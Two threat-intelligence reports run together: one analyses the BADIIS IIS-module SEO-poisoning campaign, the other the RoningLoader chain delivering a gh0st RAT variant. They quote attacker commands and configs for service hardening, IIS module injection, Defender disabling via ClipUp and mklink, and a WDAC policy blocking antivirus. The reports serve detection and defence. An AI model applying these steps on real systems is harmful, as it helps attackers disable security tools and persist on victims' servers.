In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server. These observations align with previous reporting from Cisco Talos and Trend Micro from last year.

This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.

Key takeaways

• Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers
• Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites
• Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam
• This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro

Campaign Overview

REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.

The campaign operates through a two-phase process:

• First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and
• Next, it redirects victims to a sprawling "vice economy" of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.

By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.

Intrusion activity

In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (w3wp.exe). The attacker conducted initial discovery and then created a new user account.

Shortly after the account was created and added to the Administrators group, Elastic Defend generated several alerts related to a newly created Windows service, WalletServiceInfo. The service loaded an unsigned ServiceDLL (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll) and subsequently executed direct syscalls from the module.

Next, we saw the threat actor harden their access by using a program called D-Shield Firewall. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (1e4b23eee1b96b0cc705da1e7fb9e2f3) of the loader (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe) to obtain a loader sample from VirusTotal for our analysis.

To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal search on the name (CbsMsgApi.dll). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ VMProtect, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected sample to gain additional insight into this attack chain.

Code analysis - CbsMsgApi.exe

The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, CbsMsgApi.exe. This file contains Chinese Simplified strings, including the PDB string (C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb).

After launch, this program creates a Windows service, WalletServiceinfo, which configures a ServiceDLL (CbsMsgApi.dll) that runs under svchost.exe, similar to this persistence technique.

This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:

sc sdset "WalletServiceInfo" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Code analysis - CbsMsgApi.dll

The main component of this attack sequence is the ServiceDLL (CbsMsgApi.dll). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.

During this attack, the threat actor stages three files masquerading within the System32\drivers folder:

• C:\Windows\System32\drivers\WUDFPfprot.sys
• C:\Windows\System32\drivers\WppRecorderpo.sys
• C:\Windows\System32\drivers\WppRecorderrt.sys

Two of these files (WppRecorderrt.sys, WppRecorderpo.sys) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (WUDFPfprot.sys) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name WsmRes64 (more information on this DLL is detailed in the IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll) section below):

<globalModules>
    	<add name="WsmRes64" image="C:\Windows\Microsoft.NET\Framework\WsmRes64.dll" preCondition="bitness64" />
</globalModules>
<modules>
    <add name="WsmRes64" preCondition="bitness64" />
</modules>

The malware uses the CopyFileA function to move the contents from the masqueraded files into the .NET directory (C:\Windows\Microsoft.NET\Framework).

Next, the malware parses the DefaultAppPool.config file, examining each node to update the <globalModules> and <modules> nodes. The module will inject configuration content from the previously masqueraded file (WUDFPfprot.sys), updating the IIS configuration via a series of append operations.

Below is an example of the newly added global module entry that references the BADIIS DLL.

Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the w3wp.exe worker process.

IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)

The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.

Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the SM4 algorithm (a Chinese national standard block cipher) in ECB mode with the key “1111111122222222”. In older samples, the AES-128 ECB algorithm was used instead.

Each URL in the configuration points to a static .txt file that contains a second-stage resource. The list below details these source files and their specific roles:

These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (hxxp://kr.domain.com), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with "vn" rather than "kr"(hxxp://vn.domain.com).

The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:

To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.

Referers: bing, google, naver, daum
User agents: bingbot, Googlebot, Yeti, Daum

The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.

In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.

The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the *fmldz.txt file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.

Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the *fmltz.txt file, which is obtained via its configuration link.

Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.

The list of mobile User-Agents is listed below:

Devices: iPhone, iPad, iPod, iOS, Android, uc (UC Browser), BlackBerry, HUAWEI

If the option is enabled and the infected server's IP address matches the subnet list in the google.css file downloaded from the *fmlip.txt file, the server serves the standard SEO content instead of the landing/redirection page.

The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.

We identified the following Google tags across the campaign:

• G-2FK43E86ZM
• G-R0KHSLRZ7N

As well as a Baidu Tongji tag:

• B59ff1638e92ab1127b7bc76c7922245

Campaign Analysis

Based on similarity in URL patterns (<country_code>fml__.txt, <country_code>fml/index.php), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.

• tz123[.]app
• tz789[.]app

tz123[.]app was disclosed in a Trend Micro BADIIS campaign summary IOC list, published in 2024 . Based on the first submission dates on VT for samples named ul_cache.dll and communicating with hxxp://tz789[.]app/brfmljs[.]txt, some are also submitted under the filename WsmRes64.dll. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest sample we discovered on VT was first submitted on 2023-12-12.

For REF4033, the infrastructure is split between two primary configuration servers.

• Recent campaigns (gotz003[.]com): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
  • kr.gotz003[.]com (South Korea)
  • vn.gotz003[.]com (Vietnam)
  • cn.gotz003[.]com (China)
  • cnse.gotz003[.]com (China)
  • bd.gotz003[.]com (Bangladesh)
• Legacy infrastructure (jbtz003[.]com): Used in older campaign iterations, though several subdomains remain operational:
• br.jbtz003[.]com (Brazil)
• vn.jbtz003[.]com (Vietnam)
• vnbtc.jbtz003[.]com (Vietnam)
• in.jbtz003[.]com (India)
• cn.jbtz003[.]com (China)
• jp.jbtz003[.]com (Japan)
• pk.jbtz003[.]com (Pakistan)

At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.

It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at uupbit[.]top, impersonating Upbit, South Korea’s largest cryptocurrency exchange.

The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.

We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a sample targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ UAT-8099 research.

A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the sample targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.

We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:

• http://kr.gotz001[.]com/lunlian/index.php
• http://se.gotz001[.]com/lunlian/index.php
• https://cn404.gotz001[.]com/lunlian/index.php
• https://cnse.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/indexgov.php
• https://vn404.gotz001[.]com/lunlian/index.php
• https://vn.gotz001[.]com/lunlian/index.php
• http://bd.gotz001[.]com/lunlian/index.php
• http://vn.jbtz001[.]com/lunlian/index.php
• https://vnse.jbtz001[.]com/lunlian/index.php
• https://vnbtc.jbtz001[.]com/lunlian/index.php
• https://in.jbtz001[.]com/lunlian/index.php
• https://br.jbtz001[.]com/lunlian/index.php
• https://cn.jbtz001[.]com/lunlian/index.php
• https://jp.jbtz001[.]com/lunlian/index.php
• https://pk.jbtz001[.]com/lunlian/index.php

Within the scope of REF4033, more than 1800 servers were impacted globally, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.

The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (.gov.cn, .gov.br, .gov.bd, .gov.vn, .gov.in, .leg.br).

REF4033 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Defense Evasion
• Discovery

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• Create Account: Local Account
• Create or Modify System Process: Windows Service
• Hijack Execution Flow: Services Registry Permissions Weakness
• Obfuscated Files or Information: Software Packing
• Masquerading: Match Legitimate Name or Location
• System Information Discovery

Remediating REF4033

Prevention

• Suspicious Microsoft IIS Worker Descendant
• Potential Privilege Escalation via Token Impersonation
• Privilege Escalation via SeImpersonatePrivilege
• Direct Syscall from Unsigned Module
• Suspicious Windows Service DLL Creation
• Suspicious Svchost Registry Modification
• Security Account Manager (SAM) Registry Access

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.BadIIS
• Windows.Trojan.Generic

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud
• https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/
• https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html

Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom WDAC policies, and tampering with the Microsoft Defender binary through PPL abuse.

This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.

Key takeaways

• The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender
• Threat actors leverage a valid, signed kernel driver to kill processes
• Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables
• Phantom DLLs and payload injection via thread pools for further antivirus process termination
• Final payload has minor updates and is associated with DragonBreath

Discovery

In August 2025, research was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, Potential Evasion via ClipUp Execution, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.

RONINGLOADER code analysis

The initial infection vector is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded Nullsoft Scriptable Install System (NSIS) installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in GULOADER. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.

One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.

The attack chain leverages a signed driver named ollama.sys for antivirus process termination. The driver has a signer name of Kunming Wuqi E-commerce Co., Ltd., with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as 慕讯公益加速器 (MuXunAccelerator), a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like inject.sys, contain HookSignTool artifacts including the string JemmyLoveJenny, while the October 2025 ollama.sys sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.

Comparing ollama.sys’s PDB string artifact D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb with other samples, we discovered different artifacts from other submitted samples -

• D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb
• D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb
• C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb
• h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb

Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.

Stage 1

Our analysis began with the initial binary, identified by its SHA256 hash: da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b. Extracting it reveals two embedded executables: a benign installer, letsvpnlatest.exe, and the malicious installer Snieoatwtregoable.exe.

The malicious installer, Snieoatwtregoable.exe, creates a new directory at C:\Program Files\Snieoatwtregoable\. Within this folder, it drops two files: a DLL named Snieoatwtregoable.dll and an encrypted file, tp.png.

The core of the malicious activity resides within Snieoatwtregoable.dll, which exports a single function: DllRegisterServer. When invoked, this function reads the contents of the tp.png file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.

The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the NtAllocateVirtualMemory API, then creates a new thread to execute the shellcode by calling NtCreateThreadEx.

The malware attempts to remove any userland hooks by loading a fresh new ntdll.dll, then using GetProcAddress with the API name to resolve the addresses.

The malware attempts to connect to localhost on port 5555 without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code

Stage 2 - tp.png

RONINGLOADER first checks whether it has administrative privileges using the GetTokenInformation API. If not, it attempts to elevate its privileges by using the runas command to launch a new, elevated instance of itself before terminating the original process.

Interestingly, the malware tries to communicate with a hardcoded URL http://www.baidu.com/ with the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.

The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to "True" if any are found.

The following is a table of processes and the associated security products hardcoded in the binary:

AV process termination via injected remote process

Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.

First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (vssvc.exe) associated with the Volume Shadow Copy (VSS) service.
It first grants itself the high integrity SeDebugPrivilege token.

It then starts the VSS (Volume Shadow Copy Service) if it is not already running and fetches the PID of its associated process (vssvc.exe).

Next, the malware uses NtCreateSection to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name \\.\Ollama. The second section contains shellcode intended for execution.

RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented by SafeBreach in 2023 with different variants.

Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the Fowler–Noll–Vo hash (FNV) algorithm to look up functions by hash instead of by name.

It first fetches the addresses of CreateFileW, WriteFile, and CloseHandle to write the driver to disk to a hardcoded path, C:\windows\system32\drivers\1912763.temp.

Then it performs the following operations:

• Create a service named xererre1 to load the driver dropped to disk
• For each of the following processes (360Safe.exe, 360Tray.exe, and ZhuDongFangYu.exe), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID
• It then stops and deletes the service xererre1

To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (0x222000) that takes a PID as a parameter and kills the process by first opening it with ZwOpenProcess, then terminating it with ZwTerminateProcess kernel APIs.

AV process termination

Returning to the main execution flow, the malware enters a loop to confirm the termination of 360tray.exe, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.

It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.

RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:

• First, it writes the malicious driver to disk, this time to the temporary path C:\Users\analysis\AppData\Local\Temp\ollama.sys.
• A temporary service (ollama) is created to load ollama.sys into the kernel
• The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.
• Immediately after the kill command is sent, the service is deleted.

Regarding Microsoft Defender, the malware attempts to kill the MsMpEng.exe process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the MsMpEng.exe process. This means that if the process is not running, the malware will send 0 as the PID to the driver.

The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into vssvc.exe, but the list of processes is different, as seen in the screenshot below.

The injection technique also uses threadpools, but the injected code is triggered by an event.

After the process termination, the malware creates 4 folders

• C:\ProgramData\lnk
• C:\ProgramData\<current_date>
• C:\Users\Public\Downloads\<current_date>
• C:\ProgramData\Roning

Embedded archives

The malware then writes three .txt files to C:\Users\Public\Downloads\<current_date>. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.
This custom file structure is organized as follows:

• Magic Bytes: The file begins with the signature 4B 44 01 00 for identification.
• File Count: This is immediately followed by a value indicating the number of files encapsulated within the container.
• File Metadata: A header section then describes the information for each stored file.
• Compressed Data: Finally, each embedded file is stored in a ZLIB-compressed data block.

Here’s an example file format for the hjk.txt archive, which contains 2 files: 1.bat and fhq.bat.
This archive format applies to 2 other embedded files in the current stage:

• agg.txt, which contains 3 files - Enpug.bin, goldendays.dll, and trustinstaller.bin
• kill.txt, which contains 1 file - 1.dll

Batch scripts to bypass UAC and AV networking

1.bat is a simple batch script that disables User Account Control (UAC) by setting the EnableLUA registry value to 0.

fhq.bat is another batch script that targets the program defined in C:\ProgramData\lnk\123.txt and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.

AV process termination via Phantom DLL

The deployed DLL, 1.dll, is copied to C:\Windows\System32\Wow64\Wow64Log.dll to be side-loaded by any WOW64 processes, as Wow64Log.dll is a phantom DLL that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (TerminateProcess).

ClipUp MS Defender killer

The malware then attempts to use a PPL abuse technique documented by Zero Salarium in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through cmd.exe with the ShellExecuteW API

• It searches for Microsoft Defender's installation folder under C:\ProgramData\Microsoft\Windows Defender\Platform\*, targeting only the directory with the most recent modification date, which indicates the currently used version
• Create a folder C:\ProgramData\roming and a directory link with mklink to point to the directory found with the following command: cmd.exe /c mklink /D "C:\ProgramData\roming" “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”
• It then runs C:\Windows\System32\ClipUp.exe with the following parameter: -ppl C:\ProgramData\roming\MsMpEng.exe, which overwrites MsMpEng.exe with junk data, effectively disabling the EDR even after a restart

The author appears to have copied code from EDR-Freeze to start ClipUp.exe.

CiPolicies

The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip.

The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:

• Qihoo 360 Total Security by blocking 360rp.exe and 360sd.exe
• Huorong Security by blocking ARPProte.exe
• All executables signed by Huorong Security (北京火绒网络科技有限公司) via certificate TBS hash A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4

A critical component is the Enabled:Unsigned System Integrity Policy rule, which allows the policy to be loaded without a valid digital signature.

Truncated...
    <Rule>
      <Option>Enabled:Inherit Default Policy</Option>
    </Rule>
    <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
    <Rule>
      <Option>Enabled:Advanced Boot Options Menu</Option>
    </Rule>
    <Rule>
      <Option>Enabled:Update Policy No Reboot</Option>
    </Rule>
  </Rules>
  <EKUs />
  <FileRules>
    <Allow ID="ID_ALLOW_A_019A298478CE7BF4902DE08CA2D17630" FileName="*" />
    <Allow ID="ID_ALLOW_A_019A298478CE7AB089C369772F34B39B" FileName="*" />
    <Deny ID="ID_DENY_A_019A298478CE7DBA9913BFC227DACD14" FileName="360rp.exe" InternalName="360rp.exe" FileDescription="360杀毒 实时监控" ProductName="360杀毒" />
    <Deny ID="ID_DENY_A_019A298478CE763C85C9F42EC8669750" FileName="360sd.exe" InternalName="360sd.exe" FileDescription="360杀毒 主程序" ProductName="360杀毒" />
    <FileAttrib ID="ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11" FileName="ARPProte.exe" MinimumFileVersion="6.0.0.0" />
  </FileRules>
  <Signers>
    <Signer ID="ID_SIGNER_A_019A298478CE7608908CAE58FD9C3D8E" Name="">
      <CertRoot Type="TBS" Value="A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4" />
      <CertPublisher Value="北京火绒网络科技有限公司" />
      <FileAttribRef RuleID="ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11" />
    </Signer>
    <Signer ID="ID_SIGNER_A_019A298478CE77F7B523D1581F518639" Name="">
      <CertRoot Type="TBS" Value="A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4" />
      <CertPublisher Value="北京火绒网络科技有限公司" />
    </Signer>
  </Signers>
...Truncated

Stage 3 - goldendays.dll

In the previous stage, RONINGLOADER creates a new service named MicrosoftSoftware2ShadowCop4yProvider to run the next stage of execution with the following command: regsvr32.exe /S "C:\ProgramData\Roning\goldendays.dll.

The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.

To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:

1. TrustedInstaller (TrustedInstaller.exe)
2. MicrosoftEdgeElevationService (elevation_service.exe)

The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.

Next, the malware establishes persistence by creating a batch file with a random name within the C:\Windows\ directory (e.g., C:\Windows\KPeYvogsPm.bat). The script inside this file runs a continuous loop with the following logic:

• It checks if the captured PID of the trusted service (e.g., PID 4016 for TrustedInstaller.exe) is still running
• If the service is not running, the script restarts the previously created malicious service (MicrosoftSoftware2ShadowCop4yProvider) to ensure the malware's components remain active
• If the service process is running, the script sleeps for 10 seconds before checking again

Finally, the malware reads the contents of C:\ProgramData\Roning\trustinstaller.bin. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (TrustedInstaller.exe or elevation_service.exe). The injection method is straightforward: it performs a remote virtual allocation with VirtualAllocEx, writes to it with WriteProcessMemory, and then creates a remote thread to execute it with CreateRemoteThread.

Stage 3 - trustinstaller.bin

The third stage, contained within trustinstaller.bin, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.

When found, it will inject the shellcode into C:\ProgramData\Roning\Enpug.bin, which is the final payload. It will create a section with NtCreateSection, map a view of it in the remote process with NtMapViewOfSection, and write the payload to it. Then it will create a remote thread with CreateRemoteThread.

Stage 4 - Final Payload

The final payload has not undergone major changes since Sophos’s discovery of a DragonBreath campaign in 2023 and QianXin’s report in mid-2022. It is still a modified version of the open-source gh0st RAT.

In the more recent campaigns, a mutex of value Global\DHGGlobalMutex is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named MyUniqueMutexName and immediately destroying it afterward.

The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.

Victim Beacon Data

The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through Sleep(<random_amount> * 1000). Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:

struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)
    
    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP
    
    // +0x008
    char hostname[50];               // Computer name or registry "Remark"
    
    // +0x03A
    char windows_version[?];         // OS version info
    
    // +0x0D8
    char cpu_name[64];               // Processor name
    
    // +0x118
    uint32_t entry_rdx;              
    
    // +0x11C
    char time_value[64];             // Implant installed time or registry "Time" value
    
    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)
    
    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows
    
    // +0x184
    char av_processes_found[128];    // Antivirus processes found
    
    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 
    
    // +0x244
    char crypto_wallet_track[64];    // "狐狸系列" (MetaMask) or registry "ZU" (crypto related tracking)
    
    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights
    
    // +0x285
    char data[?];             
    
    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed
    
    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running
    
    // +0x307
    // (padding to 0x308 bytes)
};

C2 commands

Request messages sent from the C2 server to the implant follow the structure:

struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};

The implant decrypts C2 messages through the following formula:

RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)

Below is a list of available commands that, for the most part, remain the same as 2 years ago:

Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.

System Logger

In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to %ProgramData%\microsoft.dotnet.common.log and can be enabled or disabled via a registry key at HKEY_CURRENT_USER\offlinekey\open (1 to enable, 0 to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.

